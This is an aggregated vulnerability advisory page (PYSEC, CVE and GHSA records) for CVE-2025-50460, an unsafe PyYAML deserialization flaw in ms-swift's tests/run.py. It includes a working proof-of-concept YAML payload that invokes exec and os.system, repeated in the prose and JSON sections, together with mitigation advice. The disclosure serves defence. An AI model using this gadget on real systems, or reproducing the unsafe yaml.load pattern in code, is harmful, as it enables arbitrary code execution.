Vulnerability-Lookup

PYSEC-2026-1683

Vulnerability from pysec - Published: 2026-07-07 16:02 - Updated: 2026-07-07 17:24

Details

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

Project: modelscope/ms-swift
Affect versions: latest
File: tests/run.py
GitHub Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
Dependency: PyYAML <= 5.3.1

Vulnerable Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (`exploit.yaml`)

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

Replace yaml.load() with yaml.safe_load()
Upgrade PyYAML to version 5.4 or later

Example Fix:

# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
Contact: [anchor.rongyu020221@gmail.com]

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

2.3 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Impacted products

Name	purl
ms-swift	pkg:pypi/ms-swift

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ms-swift",
        "purl": "pkg:pypi/ms-swift"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.0.0",
        "1.1.0",
        "1.2.0",
        "1.2.1",
        "1.3.0",
        "1.4.0",
        "1.5.0",
        "1.5.1",
        "1.5.2",
        "1.5.3",
        "1.5.4",
        "1.6.0",
        "1.6.1",
        "1.6.2",
        "1.6.3",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.3",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.0.3.post1",
        "2.0.4",
        "2.0.5",
        "2.0.5.post1",
        "2.1.0",
        "2.1.1",
        "2.1.1.post1",
        "2.1.1.post2",
        "2.2.0",
        "2.2.1",
        "2.2.2",
        "2.2.3",
        "2.2.4",
        "2.2.5",
        "2.3.0",
        "2.3.0.post1",
        "2.3.1",
        "2.3.2",
        "2.3.2.post1",
        "2.4.0",
        "2.4.0.post1",
        "2.4.1",
        "2.4.2",
        "2.4.2.post1",
        "2.4.2.post2",
        "2.5.0.post1",
        "2.5.1",
        "2.5.1.post1",
        "2.5.2",
        "2.5.2.post1",
        "2.6.0",
        "2.6.0.post1",
        "2.6.0.post2",
        "2.6.1",
        "3.0.0",
        "3.0.1",
        "3.0.1.post1",
        "3.0.2",
        "3.0.2.post1",
        "3.0.3",
        "3.1.0",
        "3.1.1",
        "3.1.1.post1",
        "3.2.0",
        "3.2.0.post2",
        "3.2.1",
        "3.2.2",
        "3.3.0",
        "3.3.0.post1",
        "3.3.1",
        "3.4.0",
        "3.4.1",
        "3.4.1.post1",
        "3.5.0",
        "3.5.1",
        "3.5.2",
        "3.5.3",
        "3.6.0",
        "3.6.1",
        "3.6.2",
        "3.6.3"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-50460",
    "GHSA-fm6c-f59h-7mmg"
  ],
  "details": "## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (\u2264 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML \u003c= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n    with open(args.run_config, encoding=\u0027utf-8\u0027) as f:\n        run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__(\u0027os\u0027).system(\u0027mkdir HACKED\u0027)\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (\u003c= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n    cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (\u620e\u8a89) and Hao Fan (\u51e1\u6d69)\n* Contact: *\\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*",
  "id": "PYSEC-2026-1683",
  "modified": "2026-07-07T17:24:46.820888Z",
  "published": "2026-07-07T16:02:59.265625Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50460"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/pull/5174"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/commit/b3418ed9b050dc079553c275c5ed14cfb2b66cf7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Anchor0221/CVE-2025-50460"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6757-jp84-gxfx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelscope/ms-swift"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/blob/main/tests/run.py#L420"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/ms-swift"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-fm6c-f59h-7mmg"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MS SWIFT Remote Code Execution via unsafe PyYAML deserialization"
}

CVE-2025-50460 (GCVE-0-2025-50460)

Vulnerability from cvelistv5 – Published: 2025-08-01 00:00 – Updated: 2025-08-01 17:22

Summary

A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

n/a
CWE-502 - Deserialization of Untrusted Data

Assigner

mitre

References

4 references

URL	Tags
https://github.com/modelscope/ms-swift
https://github.com/modelscope/ms-swift/blob/main/…
https://github.com/advisories/GHSA-6757-jp84-gxfx
https://github.com/Anchor0221/CVE-2025-50460

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.8,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-50460",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-08-01T17:22:25.650282Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-502",
                "description": "CWE-502 Deserialization of Untrusted Data",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-08-01T17:22:46.516Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/Anchor0221/CVE-2025-50460"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A remote code execution (RCE) vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization in tests/run.py using yaml.load() from the PyYAML library (versions = 5.3.1). If an attacker can control the content of the YAML configuration file passed to the --run_config parameter, arbitrary code can be executed during deserialization. This can lead to full system compromise. The vulnerability is triggered when a malicious YAML file is loaded, allowing the execution of arbitrary Python commands such as os.system(). It is recommended to upgrade PyYAML to version 5.4 or higher, and to use yaml.safe_load() to mitigate the issue."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-08-01T15:55:16.259Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/modelscope/ms-swift"
        },
        {
          "url": "https://github.com/modelscope/ms-swift/blob/main/tests/run.py#L420"
        },
        {
          "url": "https://github.com/advisories/GHSA-6757-jp84-gxfx"
        },
        {
          "url": "https://github.com/Anchor0221/CVE-2025-50460"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2025-50460",
    "datePublished": "2025-08-01T00:00:00.000Z",
    "dateReserved": "2025-06-16T00:00:00.000Z",
    "dateUpdated": "2025-08-01T17:22:46.516Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-FM6C-F59H-7MMG

Vulnerability from github – Published: 2025-07-31 14:02 – Updated: 2025-08-01 18:35

Summary

MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

Details

Description

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

Project: modelscope/ms-swift
Affect versions: latest
File: tests/run.py
GitHub Permalink: https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420
Dependency: PyYAML <= 5.3.1

Vulnerable Code

if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (`exploit.yaml`)

!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

Replace yaml.load() with yaml.safe_load()
Upgrade PyYAML to version 5.4 or later

Example Fix:

# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)
Contact: [anchor.rongyu020221@gmail.com]

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

2.3 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ms-swift"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-50460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-31T14:02:34Z",
    "nvd_published_at": "2025-08-01T16:15:41Z",
    "severity": "LOW"
  },
  "details": "## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (\u2264 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML \u003c= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n    with open(args.run_config, encoding=\u0027utf-8\u0027) as f:\n        run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__(\u0027os\u0027).system(\u0027mkdir HACKED\u0027)\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (\u003c= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n    cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (\u620e\u8a89) and Hao Fan (\u51e1\u6d69)\n* Contact: *\\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*",
  "id": "GHSA-fm6c-f59h-7mmg",
  "modified": "2025-08-01T18:35:43Z",
  "published": "2025-07-31T14:02:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50460"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/pull/5174"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/commit/b3418ed9b050dc079553c275c5ed14cfb2b66cf7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Anchor0221/CVE-2025-50460"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6757-jp84-gxfx"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelscope/ms-swift"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelscope/ms-swift/blob/main/tests/run.py#L420"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MS SWIFT Remote Code Execution via unsafe PyYAML deserialization"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

PYSEC-2026-1683

Description

Affected Repository

Vulnerable Code

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

Mitigation

Example Fix:

Author

CVE-2025-50460 (GCVE-0-2025-50460)

GHSA-FM6C-F59H-7MMG

Description

Affected Repository

Vulnerable Code

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

Mitigation

Example Fix:

Author

Tags

Sightings

Nomenclature

Step 1: Create malicious YAML file (`exploit.yaml`)

Step 1: Create malicious YAML file (`exploit.yaml`)